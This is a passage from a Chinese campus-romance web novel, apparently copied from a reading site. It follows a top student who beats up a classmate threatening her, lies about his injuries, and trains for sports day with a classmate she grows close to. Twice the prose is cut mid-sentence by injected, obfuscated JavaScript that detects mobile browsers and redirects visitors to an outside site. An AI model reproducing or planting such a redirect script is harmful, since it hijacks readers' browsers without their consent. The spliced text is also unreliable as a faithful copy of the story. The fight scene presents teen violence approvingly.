高颖就这么和宋瑶歌爸爸聊开了:“这张卷子还是附中的,是弦音对自己要求高,专门从附中印的卷子。” 宋瑶歌爸爸说:“你看,成绩好的同时咱自己还自律,还不懈怠。” 高颖丝毫不吝啬对傅弦音的夸奖:“是啊,弦音是班里非常优秀的孩子,上次月考她还拿了年级第一,才刚转来这里两个多星期就考了年级第一呢。” 宋瑶歌爸爸有些夸张道:“哇,年级第一,这孩子,真是太棒了。” 他转头,和坐在沙发上的宋瑶歌妈妈说:“听班主任说了吗,这孩子考了年级第一呢。” 宋瑶歌妈妈也夸:“听见了,真是个优秀的孩子。” 两人一唱一和般,偏偏夸得还很认真。 傅弦音耳尖红了红,有些不好意思地底下了头。 宋瑶歌爸爸个子不是很高,比傅弦音也就高了一点,他看着傅弦音说:“能不能跟叔叔说说,咱年级第一的话是多少分嘞?” 傅弦音说:“692。” 宋瑶歌爸爸:“哇,太棒了呀。” 宋瑶歌妈妈:“天哪,真是太棒了。” 傅弦音低低地笑,说:“谢谢叔叔阿姨。” 高颖把卷子还给傅弦音,说:“行,你先回去吧,有什么问题及时来找我。” 傅弦音说:“好,老师再见。” 她还专门跟宋瑶歌的爸爸妈妈也打了招呼:“叔叔阿姨再见。” 宋瑶歌爸爸感叹道:“真是个优秀的孩子。” 傅弦音站在外面关办公室的门。 她听到屋内,宋瑶歌的爸爸说:“我们瑶歌的学习和弦音比起来就是差了点,瑶歌,还需要努力啊。” 宋瑶歌好像是哼了哼,说了句:“知道啦。” 宋瑶歌爸爸说:“不过我们瑶歌也有自己的优点,每个人长处都不一样嘛,是不是,瑶歌?” 交谈的声音逐渐远去。 傅弦音朝着楼梯走,正准备回教室,忽然看到了一个熟悉的人影。 吴嘉程正在和同班同学打闹,看见傅弦音,和同学说了两句话后就小跑过来。 “哎,傅弦音。” 吴嘉程喊道。 傅弦音冷着脸,正准备绕过他。 下一秒,吴嘉程笑嘻嘻的声音从身后传来,说出的话让傅弦音停住了脚步。 他说: “你化学老师没跟你说点什么吗?” “比如说……让你在北川安分一点之类的。” 傅弦音回头。 她没说话,就静静地看着吴嘉程。 吴嘉程被看得心里有点发毛。 他“啧”了一声,说:“好奇吗?想不想知道这到底是怎么一回事。” “想知道的话,今天午休,后街那里见。” 他似乎吃准了傅弦音会去,转过身,扬长而去之际,还冲她摆摆手,说道: “不见不散哦。” 32. 胆小鬼 回到教室,林安旭就迫不及待过来问:“音姐,刚才高姐叫你去干啥了?” 傅弦音扬扬手上的卷子,说:“我从附中印了套卷子,写完让高姐帮我改了一下。” 林安旭恍然大悟:“所以你上周末答应去附中是去印卷子,顺便才去看我们打球的。” 他故意摸了摸不存在的眼泪:“伤心了音姐。” 傅弦音就只是笑。 林安旭说:“姐,你刚才在办公室看见宋瑶歌没?我听人说,宋瑶歌她爸妈来学校了,啥情况啊这是?” 程昭昭无语道:“大哥,宋瑶歌是艺术生,该集训了。” 她指指楼下:“像五班之类的,班上已经空了一堆集训的艺体生了好吧。” 林安旭恍然大悟:“哦对,我都忘了宋瑶歌还是个艺术生。” 程昭昭无语地白了他一眼。 林安旭嘿嘿笑:“主要咱纯理班,一般哪有艺术生学物化生的。” 这个问题最开始傅弦音也好奇过。 然而现在再次听见,她脑子里却忍不住想起来昨天程昭昭她们起哄说的那句,宋瑶歌去找顾临钊表白。 不知道为什么,傅弦音往顾临钊的位置上瞟了一眼。 他手中捏着笔,在记着什么。 林安旭在跟程昭昭八卦:“我昨天还问钊哥,宋瑶歌是不是和他表白了。” 程昭昭兴奋起来:“顾临钊怎么说?表白了吗?” 林安旭有些遗憾:“钊哥说没有,宋瑶歌就是找他问一下学习经验。” 没表白啊。 上课铃打响,众人快速回到座位。 于代芹拿着英语书走进教室开始上课。 早上的课很快就过去。 程昭昭和陈念可打算去后街吃面,俩人照例来问傅弦音要不要去吃饭。 傅弦音摇摇头说:“我不去了。” 后街。 她不想去后街碰到吴嘉程。 她不是傻子,整个北川一中只有吴嘉程和她一样从临澜转过来,他还生怕傅弦音怀疑不到他似的,专门凑过来恶心她这么一句。 但让傅弦音没想到的事,吴嘉程这傻逼颇有一种,山不就我,我来就山的无赖。 傅弦音正在座位上背单词,前门门板忽然发出“咚咚”两声。 抬眼。 正对上吴嘉程那张傻逼的脸。 那一瞬间的不爽让傅弦音有种化身成一个杀手,然后立刻把人做掉的冲动。 她收好单词书,走向前门。 吴嘉程:“我本来想去后街的,但是想了想,我又怕你不去,所以就直接来找你了。” 他说:“怎么样,想不想知道化学老师是怎么知道的?” 傅弦音都他妈无语了。 这傻逼是真觉得全天下都和他一样是个傻逼,半点脑子都没有吗。 话都说到这地步了,除了你还有任何的怀疑对象吗? 但是傅弦音没说话。 她跟着吴嘉程往外走。 吴嘉程这种不良少年,威胁人这种事情也算是干得驾轻就熟,他带着傅弦音就往没人也没监控的地方走。 这正和傅弦音的心意。 毕竟她要揍人的话,也得找个没人且没监控的地方。 穿过闹哄哄的后街,吴嘉程带着傅弦音七拐八拐,到了个小胡同的角落。 傅弦音跟在他身后,盘算着什么时候出手比较合适。 她心里清楚,哪怕吴嘉程挨了揍,这件事情也并不会就此解决。 他最多消停一阵,过一阵又开始蹦跶了。 但傅弦音也没打算跟吴嘉程今天就把这件事情解决了。 换而言之,她并没有觉得吴嘉程所谓的拿来威胁她的这个把柄,真的能算是一个把柄。 高颖现在觉得她是好学生的印象已经根深蒂固了。 傅弦音有把握,就算事情再度闹起来,高颖不会不相信她。 高颖相信她,陈慧梅那边就相对好解决一些。 其他的,就和之前在临澜一样。 有信的就有不信的,傅弦音觉得自己并不是很在乎。 她今天揍吴嘉程的目的非常简单。 就是这个人三番四次地在她面前蹦跶,她不爽,她要出气。 出气的方式就是揍人。 吴嘉程在前面乐呵呵地盘算等会怎么说,才能在傅弦音的脸上看到他期待的表情。 丝毫不知道后面的女孩已经一寸一寸地扫着他的身体,寻找等会揍他的地方。 这小胡同没什么人来,傅弦音看了,周围也没有监控。 倒是难为吴嘉程,转来北川还没多久,就能给自己找到这么个绝佳的挨揍的地方。 宽松的校服长袖有点影响动作。 傅弦音默不作声地把袖子撸了上去。 就在吴嘉程得意洋洋回头的瞬间,迎接他的是一记重拳—— 他躲都没得躲,那张脸直直地迎上了傅弦音的拳头。 傅弦音一点力都没收。 她本来劲在女生里面就算大的,有专门学过点自由搏击,对付吴嘉程这种头脑简单四肢也很简单的人足够了。 腰部旋转给整条手臂蓄力。 拳头落在吴嘉程脸上前,他好像都听到了风的声音。 腮帮的软肉磕上牙齿,吴嘉程疼得张口就骂:“我□□——” 傅弦音没给他骂人的机会。 她手抓住吴嘉程的头发,猛然用力下压。他上半身被带的弓起,肚子刚好撞在傅弦音抬起的膝盖上。 胃里翻江倒海。 傅弦音甚至还很熟练地把吴嘉程的脑袋别开,免得他吐的时候脏东西沾她身上。 脸上和肚子一阵阵的疼。 食物从喉咙里不住反流,吴嘉程站都有些站不稳,他踉踉跄跄地往墙边走,扶着墙就哇啦哇啦的吐。 傅弦音没想到这狗比胃里塞了这么多东西。 她本来以为吐两口意思意思就行了,结果这人吐了半天。 她蹲在地上,很有礼貌地等着吴嘉程吐完。 一切的一切对于吴嘉程来说都太突然了。 他完全没想到傅弦音上来就揍他,更没想到傅弦音下手这么狠。 上一次傅弦音还只是在他脸上招呼了几巴掌,老师来了后就开始颠三倒四说是他自己翻墙脸着地摔了。 当时吴嘉程还觉得是他不知道这女的玩阴的,但凡他知道了有心理准备了,傅弦音就绝对在他这落不着好。 没想到。 做好了心理准备,该挨揍的还是挨揍。 甚至比上次狠多了。 胃里所有的东西都被吐了出来。 吴嘉程恶狠狠地擦了擦嘴。 然后他就看到傅弦音蹲在路边,看着他,懒洋洋问:“怎么样,都吐完了?” 傅弦音觉得自己的素质可真高。 一般打架的,哪有打到一半说:“你等我一下,我去吐一会。” 而她不仅允许吴嘉程这么干了,她还很有耐心地等他吐完,没有在他一边吐的时候一边揍他。 傅弦音在心中赞扬了一遍自己的道德,而后伸了个懒腰,朝着吴嘉程走过来。 她脸上笑盈盈的,可吴嘉程无端地觉得她笑得像个小恶魔。 恶魔呲出了白牙,说:“你吐完了,可是我还没揍过瘾。” “没办法了,你忍忍吧。” 几乎是瞬间。 恶魔按着他的脑袋就故技重施地往下压,她力道大到吴嘉程根本反抗不了,只能及时捂住自己的肚子。 然而这一次遭殃的是脑门。 坚硬的膝盖磕上了他的头盖骨。 力道大到吴嘉程毫不怀疑自己脑门即将多出来一块淤青。 他想要抬脚去踹,然而女孩像是看穿了他的意图般,先一步提膝踹上了他的膝盖。 双膝一软。 吴嘉程扑通一下跪倒。 傅弦音脚踩在他大腿上,冰凉的手扳住他的下巴,强迫他仰头。 双腿被人桎梏住,吴嘉程挥舞着双手要去扇傅弦音巴掌。 可傅弦音的动作总是快他一步。 清脆的响声在他脸颊上响起,下一秒,扳着他下巴的那只手猛一用力,将他向后推去。 同时,踩在他大腿上的脚也踹向他胸口。 两道力同时施加。 吴嘉程完全控制不住平衡,他向后栽去—— 呱唧一声。 吴嘉程仰面朝天,躺在了自己的那堆呕吐物里。 刺鼻难闻的气味钻进他鼻腔,他甚至感觉到自己后脑的头发正在一点一点地被濡湿,后背的校服和大片黏腻的东西亲密接触。 吴嘉程气疯了。 他撑着爬起来,甚至顾不得手掌按在了呕吐物里,他脑子里只有一个念头,就是他要让傅弦音付出代价。 傅弦音在把吴嘉程踹到呕吐物里的那一刻就觉得今天的揍人计划可以告一段落了。 她完全不想和那堆呕吐物有任何牵扯。 傅弦音在地上捡了块砖块,打算等会吴嘉程要是过来就用这个招呼她。 然后捡完砖块,她就看到了正在往这里走的几个眼熟的身影。 顾临钊,林安旭,程昭昭,陈念可。 都在呢。 傅弦音心中万马奔腾。 她疯狂地咒骂吴嘉程。 说好的没人没监控呢,吴嘉程这个傻逼怎么考察的地形。 来人就罢了,还他妈一来来四个。 来四个就罢了,还他妈都是她熟人。 顾临钊先看到了她。 他视线落在了傅弦音手上拿着的砖头上。 “音音!” 程昭昭和陈念可也看到了她,俩人朝着傅弦音跑过来。 吴嘉程听到那一句“音音”的时候人也僵了。 他用一副“你他妈还找外援”的表情看向傅弦音。 傅弦音毫不客气地回以一副“你他妈考察地形考察了个毛球”的表情。 林安旭则是看到了浑身呕吐物的吴嘉程。 他震惊地走过来,说:“不是兄弟,这是……什么情况?” 吴嘉程脑子都是乱的。 傅弦音在旁边一通瞎扯:“他说后街有地方还挺有意思的,非得拉我过来,我正好写完题寻思着没事就过来了,结果我没想到他说的挺有意思是翻墙。” 傅弦音煞有介事地指了指死胡同尽头的那道墙:“就那,他非得翻,翻到一半卡上边硌着胃了,吐得一通稀里哇啦,吐完没劲了就一头栽下来了。” 林安旭看着地上的呕吐物,和满身狼藉的吴嘉程。 吴嘉程额头上淤青了一块,脸颊也受了伤。 林安旭表情复杂:“兄弟你……伤得不轻啊。” 傅弦音趁着乱偷偷在墙角蹲下,把转头放下,然而起身的时候就发现顾临钊正看着她。 傅弦音:…… 她只当没看见。 吴嘉程或许是觉得被女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路过傅弦音时,他恶狠狠地说了一句:“你给我等着。” 傅弦音完全没放在心上。 甚至在吴嘉程走到巷子口的时候,还挥挥手,扬声道:“运动会加油哦,我看好你!” 午休时间所剩无几。 几人开始朝着学校的方向走。 林安旭又和程昭昭打闹起来,陈念可在边上看热闹不嫌事大地起哄。 就只留傅弦音和顾临钊在后面并排走着。 傅弦音心里有点虚。 她觉得顾临钊刚才没信她的鬼话,别问,问就是顾半仙与生俱来的固有天赋在发挥作用。 她就在担心顾临钊到底有没有看到她揍吴嘉程。 求求了,千万别看见。 傅弦音在心中祈祷。 看见了就得扣分,按照班规班纪,打架斗殴要扣十二分,只要给她记上这么一笔,她立刻就得被叫家长。 傅弦音在心中祈祷,一旁的顾临钊忽然开口:“跟他出来玩,吃饭了吗?” 傅弦音:“啊,没吃。” 她下课背了会单词吴嘉程就来教室恶心她,傅弦音根本没有吃饭的时间。 顾临钊毫不意外自己会听到这个答案。 他说:“等会路过便利店去给你买两个饭团,别的饭时间没时间买了,你多少吃点。” 傅弦音:“哦。” 心里有点五味杂陈。 她在这里纠结顾临钊会不会看到她打架,会不会给她扣分,而人家呢。 心地善良的顾半仙在关心她有没有吃饭,没吃还要去便利店给她买两个饭团吃。 傅弦音肩膀沉了沉。 路过便利店时,傅弦音刚要进去,顾临钊就拦住了她。 “你跟他们先走着,”顾临钊指了指程昭昭她们,说:“我等会去追你们,不然会迟到。” 他说完没给傅弦音拒绝的机会,抬脚就进了便利店。 傅弦音快走两句跟上程昭昭,说了顾临钊去便利店给她买饭团的事。 这仨人倒是觉得很合理。 林安旭说:“钊哥男的嘛,跑的比你快,他买肯定比你买要省时间。” 程昭昭说:“而且我和念可肯定不会让你去买我俩先走,我们怎么也要跟你一块嘛。” 陈念可说:“再说了,你没吃午饭,跑步容易低血糖的嘛。” 几人说话间的功夫,顾临钊买完回来了。 他呼吸微微有些急促,把手里的袋子塞给了傅弦音。 袋子暖呼呼的。 傅弦音看了他一眼。 跑步过来的缘故,顾临钊额前出了一层薄薄的汗。 这么紧的时间,他还让工作人员给她把饭团热了一下。 傅弦音忽然想要纠正自己之前的一个心态。 她本以为自己不会在乎吴嘉程散布谣言。 她本以为自己不会在乎同学们怎么看她。 但是好像不是这样的。 在临澜的时候,她没有朋友,别人怎么看她都无所谓。 可是现在她有朋友了。 她看着面前的几人。 他们会因为她不吃饭而担心,会专门绕路给她买饭。 这么好的人。 傅弦音不想让她们知道那些事情,哪怕是假的她也不想。 她不知道自己在害怕什么,如果是别人,她会说“真正的朋友是无条件地信任你”。 可是放在自己身上,她只会躲。 她后知后觉地发现,自己好像早就已经在这么做了。 她不愿意在他们面前和吴嘉程有什么牵扯。 她不愿面对,只想着躲避。 傅弦音是个胆小鬼。 33. 温热 饭团的温度从塑料袋洇出,一点点传递到傅弦音的指尖。 她就这么拿着袋子,也没有要吃的打算。 是什么时候,变成这样的呢? 是月考之后,她被陈慧梅赶出家,顾临钊过来找她。 还是再之前,她发现自己对顾临钊产生了依赖。 又或者更早。 从程昭昭在她身边坐下和她聊天,林安旭看她腿伤自告奋勇地去给她买习题册,陈念可拉着她在休息时间穿梭于校门口的小吃摊。 是她在刚转来北川不过三天,就告诉林逾静,北川很好,她碰到了很善良的人。 是顾临钊在和她同桌的第一天,看见她情绪低落,给她买了一杯杨枝甘露。 像香气,像水蒸气,看不见摸不着,可就从丝丝缕缕的地方渗入进来。 这是一种很奇妙的感觉。 就像学习一门语言的最佳年龄是在五岁左右,只要过了这个年龄,哪怕后面再怎么去学习,新学习的语言也没办法达到母语水平。 这些奇怪的感觉,是不是也是这样。 是不是也有一个最佳的接收,学习,并给出最正确反馈的年龄。 或许和学习语言不同,接纳感受的年龄不是5岁。 但是傅弦音觉得也一定不在17岁。 她已经过了那个年龄了,早早的就过了。 所以,傅弦音想。 那就一直做一个胆小鬼吧。 这应该,不能,算作是她的错吧。 指尖被热腾腾的饭团烫到。 傅弦音下意识瑟缩了一下。 算了。 是她的错,她也认了。 手中重量一轻。 傅弦音转头。 顾临钊把塑料袋拎过去,撕开了饭团的包装,递到她嘴边。 他声音带了几分笑意,垂着眸子,目光落在她的嘴上。 他说:“怎么,要我喂你?” 饭团尖角的紫菜边缘翘起,有些粗糙的棱角一下一下地划着傅弦音的嘴唇。 她不知道自己是抽了什么风。 但是忽然很想,很想。 很想就这么张嘴,然后就着顾临钊的手,咬下去这一块饭团。 但她没有。 她只是从顾临钊手上接过了饭团。 然后一口咬下。 * 不知是不在同桌,两人没有那么多说话的机会,还是顾临钊完全没看见。 傅弦音心惊胆战地过了一个下午,最后也无事发生。 晚自习下课,林安旭凭借着位置优势,下课铃一打响就踩上讲台。 他敲敲讲桌,扯开嗓子喊: “明天体育课排练运动会开幕式,报了项目的记得去训练!” “芜湖!” “太好了!总算有点运动会的样子了!” “班服呢班服呢?不会还是咱去年那套丑不拉几的衣服吧!” “能不能晚自习请假去训练啊!最后一届运动会了,为班争光嘛!” “到底是为班争光还是别的你自己心里有数。” 高颖不知道什么时候从前门走进来,林安旭看见人要上讲台,忙笑嘻嘻地下去了。 高颖:“班服不换了,穿去年那身就行。” “啊,不要啊——” “高姐,那衣服真的丑啊——” “丑不也是去年你们自己选的。” 高颖没在这个话题上继续很久,她说:“明天体育课都给我好好练,队伍练齐点。班长和体委仔细盯着。” 她看向林安旭:“项目报齐了吗?” 林安旭有些为难:“男生那边都报满了,女生这里,还差一个4*100的接力没报满。” 十五班是纯理班,班上一共45个人,就10个女生。 这十个人里面,还要再减去举牌的傅弦音,和已经请假走人的宋瑶歌。 报项目的只剩八个。 程昭昭报了个200米,陈念可图轻松报了个跳远,剩下的女生也大多都报些踢毽子跳绳之类的,因此接力现在还差一个名额。 高颖拿过报名表看着。 扫了两眼,她开始看班上的人。 不知道为什么,傅弦音突然心里一凉。 她有种不祥的预感。 下一秒,高颖点了她的名字: “傅弦音。” 傅弦音条件反射地站了起来。 高颖说:“跑个一百米,问题不大吧?” 傅弦音心中万马奔腾。 她当时答应举牌就是不想报运动会项目。 早知道举牌还要报项目,她宁愿就不举牌了。 还得排练还得拿班牌还得租礼服,这也很麻烦的好吗。 然而傅弦音知道她没有拒绝的权利。 她只能庆幸,庆幸高颖硬派的项目不包括那些一千米或者三千米之类的长跑。 不然以她的身体素质,傅弦音不怀疑自己有可能成为北川一中建校以来第一个死在运动会上的年级第一。 高颖:“接力是在第二天,刚好和开幕式也可以错开。” 傅弦音硬着头皮:“没问题老师,我能跑。” 高颖把表递给林安旭,林安旭转头,给傅弦音做了一个“对不起了姐,我也没办法”的表情。 傅弦音则回以一个“壮士赴死不必多说”的表情。 高颖:“心该收的都给我收收,下周就月考了,别光想着运动会。” “说你呢任子骏,还晚自习不上了去训练,你是想去训练的吗?我看看你下次月考能考多少。” 被点名的男生在后排缩了缩。 高颖:“都先给我好好准备月考,月考结束,如果表现可以的话,那两天晚自习可以请假去训练。” 班上再一次爆发出惊人的喊声: “谢谢高姐!” “好好考试!” “行了,”高颖手一挥:“都收拾东西回宿舍吧。” 尹泽轩还在写题。 傅弦音走的时候和他打了招呼,然后就去找前面的林安旭刺探军情。 她敲敲林安旭的桌子吗,问:“来给我看看,报接力的还有谁啊?” 林安旭:“除了姐你,还有纪逐渺,徐馨予和田恬。” 田恬话很少,徐馨予则挺爱笑。 傅弦音和她们接触的都不算多。 林安旭以为她是在担心比赛成绩,安慰她: “姐你别担心,高姐只是会硬派项目,但是成绩不好她也不会说什么的,特别是你这样被硬派上去的。” 傅弦音倒不是担心比赛成绩。 她是担心训练。 和单人项目不一样,接力需要递棒接棒,这些都需要花时间和队友配合。 如果是个单人的100米,傅弦音完全可以自己想什么时候训练就什么时候训练,甚至哪怕不训练就上场前活动活动关节也没人会说她。 可是接力就不一样了。 训练磨合的确是个麻烦事。 更别提月考只剩一周了。 她正想着,徐馨予和田恬走过来了。 徐馨予笑道:“加个微信呗,拉你进个群,到时候我们有什么在群里说。” 傅弦音和她加了微信,问:“你们打算什么时候训练。” 徐馨予:“嗯,现在想的是每天晚自习下课去练一会接棒递棒什么的,等下周看看晚自习能不能跟高姐请假,你觉得怎么样?” 傅弦音抿了抿唇,她说:“我从明天开始可以跟你们晚自习下课去练,但是最多练半小时,周末因为月考我得复习我练不了,下周晚自习请假我应该也不太行。” 她露出了一个有些抱歉的神色:“不好意思啊。” 徐馨予摆摆手,刚要说话,一旁的田恬开口了。 她说:“我们谁跑第几棒还没定,明天先跑一次定一下,然后再看怎么训练。” 她皱眉:“月考都考完了,你晚自习还要学习吗?” 傅弦音脸上带了几分歉意,说出的话去却没有退让: “要,而且月考之后是全市统考,时间也挺紧。你们运动会之前老师会因为运动会而不布置作业吗?” 徐馨予摇摇头:“不会。” 傅弦音直截了当:“晚自习如果训练的话我没时间写作业,我不想落进度。” 徐馨予笑:“哎呀,没啥问题,接棒递棒什么的也练不了那么久。” 她倒是很好说话的样子,拉着田恬走了,临走前跟傅弦音说:“那我们明天体育课去练一下啊?” 傅弦音回了个OK的手势。 两人走远,徐馨予拉着田恬叨叨: “我感觉傅弦音人也挺好啊,挺好说话嘛。我本来也没报什么希望她真的晚自习会请假,学霸嘛,跟咱们不一样。” 田恬:“不知道跑得快不快。” 徐馨予:“快不快的也没办法了,高姐硬派给她的项目。哎,早知道就直接去问她要不要跑接力了,我们还能多训练几天。” * 体育课是在大课间之后。 林安旭从大课间开始就开始兴奋,他去对面活动室把班牌从柜子里翻了出来。 傅弦音趁着大课间的时间去问顾临钊化学题,宋瑶歌请假去集训后,她去问题倒是有个位置坐还挺方便的。 “钊哥,给张纸来。” 林安旭提着班牌进来,傅弦音瞟了一眼,那班牌上面的灰都有厚厚一层。 她有些震惊:“你从哪搞得刚出土的古董玩意?上一次用这东西的时候你们都出生了吗?” 林安旭边擦班牌边说:“上一次是刚开学升旗仪式拿出来用了一次,再然后就没用过了。” 他擦干净班牌,兴冲冲地递给傅弦音:“姐,试试,手感咋样?” 傅弦音:“你等会,等我写完这道题。” 林安旭:“那姐我拿着班牌先下去了,等会上课了,你俩赶快啊。” 他说着就风风火火地跑了下去。 顾临钊扬了扬下巴,示意她继续写: “不急,慢慢写。” 傅弦音撇撇嘴:“我也没急,这不是有你吗?迟到了班长在我也不怕。” 顾临钊用笔杆敲了敲桌子:“不是之前怕扣分那样了是吧。” 傅弦音手不停,嘴也没停:“你瞎说什么,我早改好了,我多久没违反班规班纪了。” 话音刚落,傅弦音就想起来昨天,她在后街揍吴嘉程的事。 她一阵心虚,而就在这时,顾临钊忽然嗤笑一声。 傅弦音被他笑得更加心虚,一句回怼的话都没再说。 题不算简单。 傅弦音写写停停,等到最后答案算出来时,班上已经没人了。 她瞟一眼时间,还有两分钟上课。 她也不着急,慢悠悠地去拿了水杯,走到门口时,顾临钊手里拿了顶熟悉的白色鸭舌帽,顺手扣她脑袋上了。 “嫌晒还不知道带个帽子来。” 顾临钊有些无奈的声音从头顶传来。 帽檐被顾临钊压得有些低,傅弦音必须要仰头才能看见顾临钊的脸。 她吐吐舌头:“忘了嘛,想起来就去买。” “指望你想起来冬天都要来了吧。” 顾临钊打趣她。 傅弦音手上抱着水杯,不知道为什么,也没分出手去调整帽子。 顾临钊就在她身边走着,碰到楼梯时抬手扯一把她的袖子,等走到平地时又很快松手。 两人到操场上的时候,队伍已经排好了。 体育老师问:“举牌的呢?” 傅弦音忙举手:“这呢老师。” 她随手把杯子塞给顾临钊,小跑到体育老师那边拿班牌。 顾临钊挑了个阴凉地,把傅弦音杯子放在阴凉里,而后回到队伍里。 该说不说,顾临钊的帽子真的帮大忙。 班牌不算很轻,傅弦音走了一圈手臂就有些酸,她把班牌借给后面的程昭昭他们当太阳,自己则因为戴了帽子,整张脸都处在阴凉之下。 林安旭和体育老师在一旁调整队形,傅弦音回头看了一眼顾临钊。 他个子高,站在最后排,此刻被阳光晒得有些睁不开眼,眉头微微皱着。 明明是他的帽子,结果他还挡不了一点太阳。 傅弦音心中升起了一点愧疚。 但是只有一点。 程度完全不足以让她去帽子还给顾临钊。 似乎是察觉到她的目光,顾临钊的视线移了过来。 傅弦音点了点白色鸭舌帽的帽檐,双手合十,放在脸前,微微晃了晃,是个谢谢的手势。 顾临钊唇角勾了勾,皱着的眉头也舒展了些。 傅弦音又伸手比了个耶,放在脑袋侧边,像兔子耳朵似的。 她笑着,弯了弯手指。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060463|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 人群里闹哄哄,体育老师还在调整着大家的站位。 而他们两个一前一后,隔着嘈杂纷乱的人群,做着这隐秘又坦荡的交流。 “哔——” 哨子吹响,体育老师说:“来,再走一圈。” 程昭昭忙把班牌递给傅弦音。 即将转身之际,傅弦音看见站在最后一排的少年抿了抿唇,而后伸出手指,也冲她微微弯了弯。 像在回应她。 第二圈走完就解散训练了。 林安旭去帮程昭昭掐表看200米的成绩,陈念可则被老师带着去和一群跳高跳远项目的人一起走了。 徐馨予拉着田恬和纪逐渺过来,说道:“你有什么想跑的位置吗?” 傅弦音想了想,问:“你们之前呢,是怎么定的。” 田恬:“我之前跑200,所以我跑第三棒,徐馨予弯道快,听枪也准,所以她是第一棒。” 傅弦音:“那我就是二或者四咯?” 徐馨予拽着傅弦音往跑到上走:“你和纪逐渺要不跑一次看看?谁快点谁跑最后一棒。” 傅弦音看向纪逐渺。 后者点点头:“好。” 田恬:“我有哨子,秒表没带,你们有秒表吗?” 徐馨予:“没有哎,要不我站在后面目测?” 田恬:“不行,记一下她俩的秒数,最好能多测几次,免得一两次特殊情况。” 听到多测几次几个字时,傅弦音心里颤了颤。 多测几次,那得跑多少啊。 她现在身体素质短跑冲刺个一两百米顶天了。 两人正盘算着要不要去找体育老师借一个,一直没说话的纪逐渺突然开口了。 她说:“班长好像有,要不去找她问问。” “行哎。”徐馨予推了推傅弦音:“你去借。” 说完,她还冲傅弦音隐秘的眨了眨眼睛,悄声道:“你俩不是之前同桌,关系好,你问问他去。” 傅弦音:…… 在她转来之前,除了林安旭,难道没人和顾临钊同桌过吗? 她下巴一仰,眯了眯眼:“他人呢?” 纪逐渺伸手一指,在操场的另一端,他和体育老师站在一起。 “那呢。”纪逐渺说。 “那走吧。”傅弦音说。 两人朝着顾临钊的方向走去,徐馨予还在身后喊:“记得跟他说说让他来帮忙测一下!或者学下秒表怎么用,我不会用!” 上体育课的不止他们一个班。 傅弦音在跑道上看到了一个让她不怎么高兴的身影。 吴嘉程他们班也在为运动会做准备,吴嘉程估计是报了项目,此刻正朝着跳高跳远器材那走过去。 两人目的地都是同一个,傅弦音忽然有点烦躁地“啧”了一声。 没想到,一旁的纪逐渺说:“怎么了?” 傅弦音找了个借口:“太晒了。” 纪逐渺:“你带了顾临钊的帽子还晒啊?” 傅弦音:“啊,晒啊——” 她后知后觉反应过来,扭头问:“你怎么知道这是顾临钊的帽子?” 纪逐渺抿了抿唇,说:“我看他戴过。” 傅弦音没说话了。 纪逐渺也没吭声。 两人走到跳远器材那,程昭昭刚好也跑完200米,和林安旭凑在那块看成绩。 “哎兄弟,你也这节上体育课?” 林安旭看见了吴嘉程,问道。 吴嘉程点点头,指指跳高器材:“来练练。” 他话音刚落,林安旭就看见了傅弦音,他挥手喊:“咋了姐,来借点啥吗?” 傅弦音看都没看吴嘉程一眼,说:“啊,来借个秒表,我们测下100米,看看谁跑哪一棒。” 林安旭下意识就要把秒表给她,身边却有人先他一步。 秒表的挂绳还套在顾临钊手腕上,他胳膊却已经先一步伸出去了。 吴嘉程看了眼傅弦音,又看了眼纪逐渺,问:“你也报项目了?什么项目啊,到时候我去给你加油呗?” 傅弦音完全不想理他。 她直接上手去摘顾临钊手腕上的挂绳。 林安旭说:“姐报了个4*100接力,你去给她加油,你不怕你班里人骂你叛徒啊?” 他说完就和吴嘉程笑做一团。 纪逐渺的目光落在傅弦音的手指上。 挂绳套得不算紧,傅弦音捏着松紧扣把它放得更松点。 她的手凉,指尖也凉,手背也凉。偶尔擦过顾临钊的皮肤,却只是不经意之间轻轻碰一下,很快又松开。 顾临钊垂着脑袋,就看她解挂绳。 黑色的挂绳套在他手腕上,被女孩手指一钩就松了下来。 她弯曲的指节几乎是擦着顾临钊的手背,一点点到指尖。 直到黑色的挂绳完全从他手上离开,落到了她掌心。 “好了。” 傅弦音把挂绳套在自己手腕上,然后收紧。 “怎么用啊?” 她顺口问了一句。 顾临钊顿了顿:“你不会用?” 傅弦音按了几个按键,秒表开始工作。 她刚要说“现在会了”,一只手就包裹住了她的手。 “这个,清零重置。” 顾临钊手指微微用力,按下她的手指,而后按下了秒表的按键。 “这个是计时。” 他的手掌很大,能够包裹住她的,掌心干燥,又微微有些粗糙,似乎是打篮球磨出来的一些茧。 “这个是暂停。” 温暖的温度从手背传来,傅弦音感觉自己原本冰凉的掌心都在微微发热。 “暂停再按一下,就是继续。” 秒表上停止的数字从新开始跳动。顾临钊站得离她很近,他微微侧着身,整个人是往她这里倾得姿态。 “这个是结束。” 指尖后面传来最后一道压力,傅弦音感觉耳边的那道气息逐渐远去,手上的温热也消失了,风一吹,原本温暖的手背又变得冰凉。 树叶沙沙作响,吴嘉程和林安旭似乎在聊着什么。 可所有的声音落在傅弦音眼里都是模糊不清的杂音,像是被一层布遮住,密不透风,透不出任何一丝声息。 耳边,她只能听到一句话。 “会用了么?” 要不要,再教你一遍。 34. 答案 “不用了。” 傅弦音听见自己的声音说。 耳边传来一道带着笑意的声音: “什么叫不用了。” 顾临钊手指有一搭没一搭地勾着秒表的挂绳,指节微微曲着,多出来的那一截黑色的挂绳就落在他冷白的指尖处。 “问你YesorNo,你回了个or?” “傅弦音,你语文139怎么考的啊。” 傅弦音脑袋上还带着帽子。 明明站在音量下,她却觉得刚才被太阳晒烫的耳尖还没有凉下来。 她抬眼瞪了顾临钊一眼,帽檐却把她的眼神挡了个严严实实。 顾临钊只能看见女孩小脸扬了扬,一道如有实物的视线刺了他一下。 